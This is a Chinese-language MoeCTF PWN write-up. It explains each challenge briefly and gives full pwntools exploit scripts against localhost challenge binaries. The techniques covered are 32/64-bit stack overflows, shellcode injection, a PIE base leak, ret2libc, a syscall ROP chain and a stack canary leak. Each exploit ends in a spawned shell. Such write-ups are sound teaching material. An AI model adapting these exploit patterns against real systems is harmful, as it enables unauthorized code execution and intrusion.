MoeCTF 是西安电子科技大学一年一度的信息安全新生夺旗赛, 由西电信息安全协会 (XDSEC) 面向全体准大学生举办。 完结撒花!!!
PWN方向的题目还是很不错的,涵盖了很多的知识点,由浅入深循序渐进,自己也收获不少,加把油!!!明年再来!!!
签到题,考察点就是nc连接,Linux命令查看隐藏文件(ls -a)
利用好pwntools来写脚本,主要坑就是应该怎么接受才合适,还有就是在写python脚本的时候间距是很重要的(不同间距运行顺序不一样),下面这个点希望注意下
from pwn import *
context.log_level="debug"
p = remote('localhost',42051)
for i in range(100):
p.recvuntil("The second:")
p.recvline()
num1 =p.recvuntil("+")[:-1]
num2 =p.recvuntil("=")[:-1]
num =p.recvline()
if int(num) ==int(num1) +int(num2):
p.sendline("BlackBird")
else:
p.sendline("WingS")
p.interactive()
fd文件描述符,文件描述符是一个非负整数,本质上是一个索引值,0代表标准输入,1代表标准输出,2代表标准错误,接下来就是去猜fd可能会等于多少(从3开始,因为前面三个已经有代表了),然后进行 (fd * 4) | 0x29A 按位或运算
当fd =3时,new_fd =12 | 0x29a =670(进制转换和按位运算你应该会吧),结果真是当fd =3到时候,实在猜不到的话,就去爆破
考察一个整型溢出,题目让你输入一个不是负数的数等于 -114514,因为int类型的范围是
-2147483648 ~ 2147483647,整型溢出的意思差不多就是输入2147483648就会变成0,这样算就是得到下面这个数(这个就是原理,其实不用这么麻烦,可以直接在ida里面找到)
经典32位栈溢出,binsh和system都给了,直接干
from pwn import *
context(log_level='debug',arch='i386', os='linux')
#io = process(pwnfile)
io = remote('localhost',33587)
elf = ELF('./111')
io.recvline("What's your age?\n")
io.sendline(b'100')
bin_addr =0x804C02C
sys_addr =0x80492A9
payload =b'A'*(0x58 +4) +p32(sys_addr) +p32(0) +p32(bin_addr)
io.sendline(payload)
io.interactive()
经典64位栈溢出,就是和32位传参不一样(不明白的看我这里Pwn Pwn Pwn!!! 技巧(1),知道这个解这题就没有问题
from pwn import *
context(log_level='debug',arch='amd64', os='linux')
p = remote('localhost',36355)
# p = process('./111')
elf =ELF('./111')
sys_addr =0x4012B7
bin_sh =0x404050
rdi_addr =0x4011be
p.sendlineafter(b"What's your age?\n",b'200')
payload =b'A'*(0x50 +8) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
p.sendline(payload)
p.interactive()
经典题型,唯一需要注意的就是64位shellcode需要标住环境 context.arch = "amd64" ,没有的话就默认32位
from pwn import *
context.arch = "amd64"
p = remote('localhost',42989)
# p = process('./111')
elf =ELF('./111')
#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload =asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
出现了选择,一个一个试就完事了
from pwn import *
context.arch = "amd64"
p = remote('localhost',41529)
# p = process('./111')
elf =ELF('./111')
#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
p.sendline(b'4')
payload =asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
这题唯一的点就是需要知道name和key里面的参数是同一个,然后也很容易发现只需要让key =114514就可以直接获取flag,这里只能往age里面输入114514,然后key里面输入 '\x00',不能倒过来(倒过来就会被 '\x00'截断,无法输入114514)
exp如下:
from pwn import *
context.arch = "amd64"
p = remote('localhost',45429)
#p = process('./111')
elf =ELF('./111')
p.sendline(b'114514')
p.sendline(b'\x00')
p.interactive()
开启PIE,并且ida里发现题目给了vuln的地址,可以得到基址,这就好办了,开干
from pwn import *
context.arch = "amd64"
p = remote('localhost',38497)
#p = process('./111')
elf =ELF('./111')
#sys_addr =elf.sym['system']
#bin_sh =0x4010
#rdi_addr =0x1323
#ret_addr =0x101a
vuln_add =0x1245
p.recvuntil(b'0x')
vuln_addr =int(p.recvline(),16)
base =vuln_addr -vuln_add
sys_addr =elf.sym['system'] +base
bin_sh =0x4010 +base
rdi_addr =0x1323 +base
ret_addr =0x101a +base
payload =b'A'*(0x50 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
p.sendline(payload)
p.interactive()
经典题型ret2libc,不懂可以看Pwn Pwn Pwn!!! 技巧(1),直接上exp:
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')
#io =process('./111')
io =remote('localhost',42973)
elf =ELF('./111')
libc = ELF('./libc6_2.35-0ubuntu3_amd64.so')
got_addr = elf.got['puts']
plt_addr = elf.plt['puts']
main_addr =0x4011E8
rdi_addr =0x40117e
ret_addr =0x40101a
payload =b'A'*(0x50 +8) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(main_addr)
io.recvuntil(b'But..maybe libc can help u??\n\n')
io.sendline(payload)
puts_addr = u64(io.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))
print(hex(puts_addr))
#put_addr =u64(io.recv(6).ljust(8,b'\x00'))
#print(hex(put_addr))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))
payload=b'a'*(0x50 +8) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
io.recvuntil(b'But..maybe libc can help u??\n\n')
io.sendline(payload)
io.interactive()
同样是经典题型,后续我会在技巧(2)中把套路总结出来,exp跟着套路来就行,相关的地址都可以在ida里面找到,实在不行就用ROPgadget去找
exp如下:
from pwn import *
context.arch = "amd64"
p = remote('localhost',45009)
# p = process('./111')
elf = ELF("./111")
syscall =0x4011AE
bin_sh =0x404040
pop_rax =0x40117e
pop_rdi =0x4012e3
pop_rsi_rdx =0x401182
bss =0x404060 #readelf -S ./文件名 | grep bss 查看可读可写的bss段
ret =0x40101a
payload =b'A'*(0x10 +8)
payload +=p64(pop_rdi) +p64(bin_sh)
payload +=p64(pop_rsi_rdx) +p64(0) +p64(0)
payload +=p64(pop_rax) +p64(59)
payload +=p64(syscall)
p.sendline(payload)
p.interactive()
ida一下发现反汇编不了,所以只能观察汇编代码,你就会发现一些不同(需要掌握test的用法)
Test命令将两个操作数进行逻辑与运算,并根据运算结果设置相关的标志位。但是,Test命令的两个操作数不会被改变。运算结果在设置过相关标记位后会被丢弃。
简单点来说,就是如果 al <= 0
,就跳到那个地址
,否则继续往下执行,所以下面我们需要让程序跳转到那个地址,所以让它 al = 0
exp如下:
from pwn import *
context.arch = "amd64"
p = remote('localhost',43561)
# p = process('./111')
elf =ELF('./111')
#payload = b'\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05'
payload =b'\x00' +asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
这道题出的也非常有意思,感觉可以让初学者更好的理解程序中的一点小细节不同而导致的exp写法的不同,如下图,这道题所输出的类型是%s字符串,跟上一类型%d整型的题不一样,注意到了这一点就差不多没有问题了
exp如下:
from pwn import *
context.arch = "amd64"
p = remote('localhost',37955)
# p = process('./111')
payload =b'a'*20 +p64(0x1BF52)
p.sendline(payload)
p.sendline(b"\x00")
p.interactive()
经典题型canary,由于没有出现格式化字符串漏洞,所以只能通过溢出来泄露canary的地址,不懂的可以查看Pwn Pwn Pwn!!! 技巧(1),没有什么好讲的,剩下的都是套路,注意一下接收就行
exp如下:
from pwn import *
from LibcSearcher import *
context.log_level="debug"
p = remote('localhost',37537)
#p = process("./111")
elf=ELF('./111')
payload =b'a'*0x48 +b'b'
p.sendafter(b'What\'s your name?\n',payload)
p.recvuntil(b'b')
canary =u64(b"\x00"+p.recv(7))
vuln=0x40121B
plt_addr =elf.plt['puts']
got_addr =elf.got['puts']
rdi_addr =0x401343
ret_addr =0x40101a
payload =b'a'*0x48 +p64(canary) +p64(0) +p64(rdi_addr) +p64(got_addr) +p64(plt_addr) +p64(vuln)
p.sendlineafter(b'I put a canary on my stack!\n', payload)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
p.sendafter(b'What\'s your name?',b'1')
payload =b'a'*0x48 + p64(canary) +p64(0) +p64(ret_addr) +p64(rdi_addr) +p64(bin_sh) +p64(sys_addr)
p.sendlineafter(b'I put a canary on my stack!\n', payload)
p.interactive()
这次比赛收获很多,又让我对PWN的理解上升了一个高度,同时也发现了自己的薄弱的地方,继续加油,冲冲冲!!!